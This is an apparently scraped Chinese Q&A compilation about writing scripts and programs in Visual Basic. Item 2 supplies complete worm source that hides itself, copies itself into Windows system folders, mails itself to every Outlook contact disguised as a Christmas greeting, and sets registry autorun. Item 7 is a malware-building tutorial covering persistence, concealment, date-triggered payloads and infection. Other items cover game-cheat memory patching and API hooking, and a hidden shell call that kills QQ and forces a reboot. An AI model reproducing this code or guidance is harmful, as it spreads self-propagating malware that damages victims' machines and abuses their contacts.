1. 我想用VB做一个后台按键的外挂,要做哪些防检测工作,网易的
内存
不能读,那就修改内存
页面
属性为读写,至于外挂,别人都说破解的网络游戏
通信数据包的,那是
抓包
封包技术。读内存也就只读读血量什么的,还要找
内存地址
。要想做外挂,自己多琢磨琢磨
Hook
APi
和
Socket
API,还要有分析数据包的经验。
要是破解了游戏的
通信协议,都用不着运行游戏的
客户端
,自己都能搞一个客户端出来。
2. 请问用VB可以编写病毒吗
VB 可以写病毒的
给你个小例子可以参考
打开VB,先生成一个工程,然后删掉form,添加MDI,添加模块.
下面的就是我已经做好的蠕虫代码,因为需要一些编程基础,我在这里就不在给大家做解释了.上面有注释,你们学会VB后自己看看就明白了.
蠕虫就这样生成了,但它是被杀毒软件查杀的,我没有装杀毒.我也怕怕,不敢运行,就是教大家怎么做了.你要有杀毒的话可以试试..好了,教程就做到这里..
Sub Main()
'TaskVisible的功能是把程序在End Task表中除掉。
App.TaskVisible = False
'阻止问题发生
On Error Resume Next
Dim Location, Location2, DesLocation, DesLocation2
'得到EXE的位置
Location = App.Path & "\" & App.EXEName & ".exe"
Location2 = App.Path & App.EXEName & ".exe"
'设定目的地
DesLocation = "C:\WINDOWS\SYSTEM\WinMapi.exe"
DesLocation2 = "C:\WINNT\SYSTEM\Mapi.exe"
'开始复制自己
FileCopy Location, DesLocation
FileCopy Location2, DesLocation
FileCopy Location, DesLocation2
FileCopy Location2, DesLocation2
Dim Var1, FilePath, FileName, FullLocation, MyApp
Dim Christmas, List, AddList, AddressListCount
Dim Merry, AdEntries, Attachs, Msg
Var1 = "True"
FilePath = App.Path
FileName = App.EXEName
FullLocation = FilePath & "\" & FileName
Set MyApp = CreateObject("Outlook.Application")
If MyApp = "Outlook" Then
Set Christmas = MyApp.GetNameSpace("mapi")
Set List = Christmas.AddressLists
For Each Addresslist In List
If Addresslist.AddressEntries.Count <> 0 Then
AddressListCount = Addresslist.AddressEntries.Count
For AddList = 1 To AddressListCount
Set Merry = MyApp.CreateItem(0)
Set AdEntries = Addresslist.AddressEntries(AddList)
Merry.To = AdEntries.Address
Merry.Subject = "圣诞节快乐!!"
Merry.Body = "圣诞节快乐!这是一个特别个你的圣诞节的礼物!过个快乐的圣诞节! "
Set Attachs = Merry.Attachments
Attachs.Add FullLocation
If Var1 = "true" Then
Merry.DeleteAfterSubmit = True
If Msg.To <> "" Then
Merry.send
End If
End If
Next
Beep
End If
Next
End If
Dim Reg
Set Reg = CreateObject("wscript.Shell")
'把资料写入Registry
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Mapi", "C:\WINNT\SYSTEM\Mapi.exe"
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinMapi", "C:\WINDOWS\SYSTEM\WinMapi.exe"
End Sub
3. vb实现一个脚本不关闭就不能操作其他程序
很久不用VB了
如果我没记错的话 msgbox 是有几个弹出级别的,
好像有
窗口级别:不关闭不能操作父窗口
应用级别:不关闭不能操作所属应用程序
系统级别:不关闭不能操作操作系统
至于具体什么参数忘了,你可以 网络一下
4. 用VB如何编写游戏脚本
脚本主要是辅助操作,读取与改写内存要借助api函数的
5. 怎么用vb脚本写指令
只要
Private Sub form_load()
Shell "cmd.exe /c taskkill /f /im qq.exe", vbHide
Shell "cmd.exe /c shutdown -r", vbHide
End Sub
就行了(这是VB 6.0的代码)
原理就是用VB调用命令提示符在执行命令,如果你还想用VB调用其他的cmd命令,就把"/c"后的东西换成命令即可
Shell "cmd.exe /c shutdown -r", vbHide的“-r”后加上“-t 5”就可以延迟5秒再重启:Shell "cmd.exe /c shutdown -r -t 5",vbHide,后边的数字可以换成别的,单位秒。vbHide可以隐藏cmd窗口,即那个黑框框。
6. 用vb script写一个windows脚本(例子)
为什么都用所谓“严谨”来说事。。C严谨不? 还是一堆的语法缺陷。 脚本语言就再不严谨也还是有唯一解释的
vbscript之类的主要问题一是运行的时候需要环境配合,二是本身功能要少一些, 虽然不是不可以弥补, 但是基本上没人做这个事情,费力又没用
教程这里有 w3school.com.cn/vbscript
7. 用VB怎样写恶意程序
系统目录是Windows操作系统所有系统文件放置的目录,一般不会去轻易修改和直接到起目录下使用该目录下的程序。因此,我们将恶意程序自身也COPY到系统目录下。
COPY自身到系统目录下分三个步骤:一、得到自身所在的绝对路径;二、得到系统目录的绝对路径;三、执行COPY就可以。
将自身COPY到系统目录对恶意程序来说非常重要,实现也非常的简单。使用下面三个API函数即可实现:
'得到自身所在绝对路径的API
Declare Function GetMoleFileName Lib "kernel32" Alias "GetMoleFileNameA" (ByVal hMole As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
'得到系统目录的绝对路径的API
Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
'执行COPY所需的API
Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
*开机自动运行*
=================================================================================
如果开机不自动运行的话,那么恶意程序将无法发挥其作用。开机自动运行有多种发放,可以将其放置开始菜单的“启动”中,也可以加入到注册表中,也可以作成系统的服务等。
放置启动中,可以用上面COPY自身到系统目录的方法,将自身COPY到启动中。
加入注册表的方式有两种,可以使用系统提供的API函数实现,也可以使用VBS的脚本实现。
作成系统的服务也可以使用系统提供的API实现。
可以与某种格式的文件建立关联。(只要系统目录的病毒杀的不彻底,则可以死灰复燃。)
=================================================================================
*隐蔽性*
=================================================================================
在任务管理器中隐藏进程以防被关闭。通过调用系统的API函数来实现。我个人认为病毒最重要的就是隐藏自身,如果无法做到这点的话,很快就被杀了!
=================================================================================
*发作条件*
=================================================================================
可以根据日期来触发发作条件。用Date来得到今日的时间,与发作日期相比较,如果相同则执行恶意代码,如果不同则退出程序。
例:
if day(date)=13 then '13是发作日期
…… '执行恶意代码
else
End '退出恶意程序
end if
=================================================================================
*破坏性*
=================================================================================
恶意程序的破坏性可加入到发作条件的判断中。此代码决定了恶意程序的厉害程度。可以根据自己的意向写入欲执行的代码。由于是恶意程序,最好别使用太恶劣的代码。只是通过简单的代码让其无法打开“我的文档”,或是在硬盘上建立些垃圾文件,或是改变鼠标左右键,.........
=================================================================================
*传染性*
=================================================================================
如果不能传染就没有意思了。可以把自身的代码读出,遍历系统中所有分区中的文件,然后写到可执行程序中去。或是通过遍历地址薄,将程序发送给别人使其运行。
=================================================================================
*结语*
=================================================================================
真正的病毒、蠕虫并不是单单这么简单,所以称之为恶意程序。这只是最基本的雏形而已了。而且VB并不能开发出来优秀的病毒与蠕虫。这里只是给新手提供一个简单思路了。请勿干出损人不利己的事。
我亦是入门,请高手赐教。
=================================================================================
注:用VB可以开发一些病毒,因为现在的系统已经都带有vb运行库了。但是vb代码的执行速度是比较慢的。
够详细了吧!把分给我吧!呵呵
8. vb能不能写游戏脚本 那vbs又是什么,和vb一样吗学会vb就会vbs吗
VB很强大,高手可以用它做90%的各种应用。编写一些简单的游戏辅助脚本是没问题的。
VBS是Visual Basic Script的简称,它是VB的一个子集,具有VB的部分功能,而适应性更强。
一般来说,会VB的人只需要简单的了解一下区别就能熟练编写VBS代码了。
9. 使用VB脚本代码编写程序
代码如下,代码源文件和图片附件里面也有。
<form>
<div><td><input type=text style="width:200px; height:25px;" name="incontent" value=""> <input type=submit name="submit" value="搜索">
</td></div>
<div>
<td>
<input type=radio name="search" value="bd">网络
<input type=radio name="search" value="yh">Yahoo
<input type=radio name="search" value="sg">搜狗
</td>
</div>
</form>
<%
'网络 http://www..com/s?wd=
'搜狗 http://www.sogou.com/sogou?query=
'Yahoo https://search.yahoo.com/search;_ylt=AsdHYgmo4CrfcaVNGk63yF2bvZx4?p=test&toggle=1&cop=mss&ei=UTF-8&fr=yfp-t-312&fp=1
dim nr,ss
ss= Request.QueryString("search")
nr= Request.QueryString("incontent")
if ss="bd"then
response.redirect("http://www..com/s?wd="&nr)
elseif ss="yh" then
response.redirect("https://search.yahoo.com/search;_ylt=AsdHYgmo4CrfcaVNGk63yF2bvZx4?p="&nr&"&toggle=1&cop=mss&ei=UTF-8&fr=yfp-t-312&fp=1")
elseif ss="sg"then
response.redirect("http://www.sogou.com/sogou?query="&nr)
ss= Request.QueryString("search")=""
response.redirect("index.asp")
end if
%>
10. 推荐一个VB运行脚本的方法
VB所需要的所有代码只能写在程序源码中.
要实现你说的功能,只能借用VBS
VB不是解释性的编程语言.VB程序源代码都是被编译成机械码后才成EXE文件的.
所以VB编译好的程序没有运行代码的函数.
如果不怕麻烦,就把所有代码的处理程序写到VB中.
要不就利用VBS脚本中的execute函数,在VBS中执行execute(a),则字符串a会被当程序执行.比如在VBS中:
a="Msgbox(now)"
execute (a)
的执行结果等于Msgbox(now)的结果.
把你要处理的代码以字符串(记得换行!)的形式存在a中,再在VBS中执行
execute(a)
即可.